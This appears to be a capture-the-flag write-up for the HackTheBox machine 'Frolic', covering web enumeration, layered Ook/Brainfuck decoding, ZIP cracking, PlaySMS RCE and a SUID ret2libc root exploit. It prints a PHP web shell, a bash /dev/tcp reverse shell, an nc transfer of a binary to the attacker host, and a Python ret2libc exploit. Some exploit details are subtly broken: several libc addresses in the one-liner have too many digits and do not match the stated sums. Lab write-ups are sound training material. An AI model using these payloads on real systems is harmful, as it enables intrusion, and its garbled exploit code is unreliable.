Frolic - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐⭐

Summary

Frolic is a medium-difficulty machine that requires extensive enumeration across multiple services and esoteric technologies. The initial foothold involves discovering a web admin interface, decoding Ook and Brainfuck encoded data, cracking password-protected ZIP files, and exploiting a PlaySMS vulnerability. The privilege escalation leverages a SUID binary vulnerable to return-oriented programming (ROP) exploitation using the ret2libc technique—a practical learning experience for understanding advanced memory exploitation.

TL;DR: Port enumeration → Admin panel source code inspection → Ook/Base64/Brainfuck decoding → ZIP cracking → PlaySMS RCE → SUID ROP ret2libc exploitation → Root shell

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.111

Results:

Multiple open ports are identified, with several web services running:

• Port 9999 (nginx) - Primary attack vector
• Additional services on lower ports providing supplementary attack surface

The nginx server on port 9999 is of particular interest and warrants detailed enumeration.

Service Enumeration

Web Application Enumeration

Directory fuzzing reveals multiple interesting paths:

dirbuster -u http://10.10.10.111:9999 -l /usr/share/wordlists/dirb/common.txt

Key findings:

• /admin directory discovered with login interface
• /admin/js/login.js contains plaintext credentials
• Direct navigation to /success.html possible due to missing authentication
• /dev/backup hints at /playsms directory existence

Admin Panel Analysis

Inspecting the source code of the admin login page reveals credentials in cleartext within /admin/js/login.js.

Vulnerability Assessment

• Weak Authentication: Admin credentials hardcoded in JavaScript
• Path Traversal/Direct Access: Success page accessible without authentication
• Esoteric Encoding Layers: Ook, Base64, and Brainfuck encoding used for credential obfuscation
• PlaySMS 1.4 RCE: Multiple public exploits available (CVE-2017-9101)
• SUID Binary Vulnerability: Unpatched ret2libc weakness in /home/ayush/.binary/rop

Initial Foothold

Step 1: Extract Admin Credentials

Navigate to the admin panel and inspect the source code:

http://10.10.10.111:9999/admin/

The JavaScript file /admin/js/login.js contains plaintext credentials. Alternatively, browse directly to /admin/success.html to bypass authentication entirely.

Step 2: Decode Ook and Brainfuck Encoding

The success page displays Ook-encoded output. Use the online Ook decoder at https://www.splitbrain.org/_static/ook/:

Ook output → Directory path revealed

Browsing to the revealed directory yields a Base64-encoded string:

echo "BASE64_STRING_HERE" | base64 -d > output.bin
file output.bin  # Identifies as ZIP file

Step 3: Crack Password-Protected ZIP

Use fcrackzip to recover the password from the encrypted archive:

fcrackzip -D -p /usr/share/wordlists/rockyou.txt output.bin

Extract the ZIP contents to reveal index.php containing a hex-encoded string:

unzip -p output.bin index.php | xxd -r -p | base64 -d > brainfuck.bf

Step 4: Execute Brainfuck Code

The Base64-decoded content is Brainfuck language. Use the Ook tool’s Brainfuck interpreter to execute:

Brainfuck execution → Password output: idkwhatispass

Step 5: Exploit PlaySMS Vulnerability

With credentials admin:idkwhatispass, fuzzing the /dev directory reveals /dev/backup, hinting at /playsms directory:

curl -u admin:idkwhatispass http://10.10.10.111:9999/playsms/

Login to PlaySMS 1.4 and exploit CVE-2017-9101 (remote code execution via malicious CSV upload):

Create a malicious PHP payload encoded in Base64:

echo '<?php echo exec($_GET["c"]); ?>' | base64

Craft a CSV file with PHP code in the first field and upload via the PlaySMS interface. The file execution allows command execution.

Alternatively, write directly to the web root using a reverse shell payload:

# Create reverse shell
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1

Upload or execute through the PlaySMS vulnerability to obtain initial access.

Privilege Escalation

SUID ret2libc Exploitation

After obtaining user shell access, enumerate the system for SUID binaries:

find / -perm -4000 -type f 2>/dev/null

The binary /home/ayush/.binary/rop is identified as a SUID executable. Transfer it to the attacking machine:

On target:

nc -w 3 10.10.14.x 1235 < /home/ayush/.binary/rop

On attacker machine:

nc -nlp 1235 > rop
chmod +x rop

ROP Chain Analysis

Use GDB or checksec to analyze the binary:

checksec --file=rop
gdb ./rop

Identify libc base address and required function addresses:

libc_base    = 0xb7e19000
system_addr  = libc_base + 0x0003ada0
exit_addr    = libc_base + 0x0002e9d0
sh_addr      = libc_base + 0x00015ba0b

Craft ROP Exploit

Build a Python exploit using the ret2libc technique:

#!/usr/bin/env python
import struct
import subprocess

# ROP gadget chain for ret2libc
libc_base = 0xb7e19000
system_addr = libc_base + 0x0003ada0
exit_addr = libc_base + 0x0002e9d0
sh_addr = libc_base + 0x00015ba0b

# Find buffer offset (typically through fuzzing/analysis)
offset = 52

# Craft payload: padding + RIP + system_addr + exit_addr + sh_addr
payload = b'A' * offset
payload += struct.pack('<I', system_addr)
payload += struct.pack('<I', exit_addr)
payload += struct.pack('<I', sh_addr)

# Execute against SUID binary
process = subprocess.Popen(['./rop'], stdin=subprocess.PIPE)
process.communicate(payload)

Execute the exploit to gain root shell:

python exploit.py
# Or directly:
(python -c "import struct; print('A'*52 + struct.pack('<I', 0xb7e1dada0) + struct.pack('<I', 0xb7e47e9d0) + struct.pack('<I', 0xb7f2eba0b))") | ./rop

Root access is achieved.

Attack Chain Summary

Port Enumeration (9999 nginx)
    ↓
Admin Panel Discovery (/admin)
    ↓
Extract Credentials from JavaScript
    ↓
Navigate to /success.html (Ook Encoded)
    ↓
Decode Ook → Reveal Directory Path
    ↓
Base64 Decode → Password-Protected ZIP
    ↓
fcrackzip → Extract index.php
    ↓
Hex Decode → Base64 Decode → Brainfuck Code
    ↓
Execute Brainfuck → Credentials (admin:idkwhatispass)
    ↓
Enumerate /dev → Discover /playsms
    ↓
PlaySMS 1.4 RCE (CVE-2017-9101)
    ↓
Initial User Shell
    ↓
Enumerate SUID Binaries → /home/ayush/.binary/rop
    ↓
Transfer Binary to Attacker Machine
    ↓
Analyze with GDB → Identify libc Addresses
    ↓
Craft ret2libc ROP Chain
    ↓
Execute Exploit → Root Shell

Tools Used

Key Learnings

Techniques Practiced

• Esoteric Language Identification: Recognizing Ook and Brainfuck encoded data
• Multi-layer Encoding: Combining Base64, hex, and specialized encodings
• ZIP File Cracking: Using dictionary attacks against encrypted archives
• Web Application Exploitation: Bypassing weak authentication mechanisms
• CVE Exploitation: Leveraging known PlaySMS vulnerabilities
• Return-Oriented Programming (ROP): Crafting ret2libc chains for privilege escalation
• SUID Binary Analysis: Identifying and exploiting setuid vulnerabilities
• Libc Address Resolution: Calculating function offsets and building gadget chains

Lessons Learned

1. Enumeration is Paramount: The majority of time on this machine involves discovering services and paths; thorough reconnaissance prevents dead ends.

2. Understand Encoding Chains: Recognize that data may be encoded in multiple layers; decode methodically from outer layer inward.

3. Source Code Inspection: Web application source code (JavaScript, HTML comments) often contains sensitive information; always examine client-side code.

4. Exploit Database Research: Publicly known vulnerabilities (CVEs) can be found via Exploit-DB; understand how published exploits function before deployment.

5. Binary Security Analysis: SUID binaries are high-value targets; tools like checksec and GDB are essential for identifying exploitation paths.

6. ROP Chain Construction: Understanding function calling conventions (cdecl on 32-bit x86) is critical for building reliable ret2libc chains; precise offset calculation prevents segmentation faults.

7. Password Lists Matter: Common wordlists (rockyou.txt) crack weak passwords quickly; consider custom wordlists for specific contexts.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>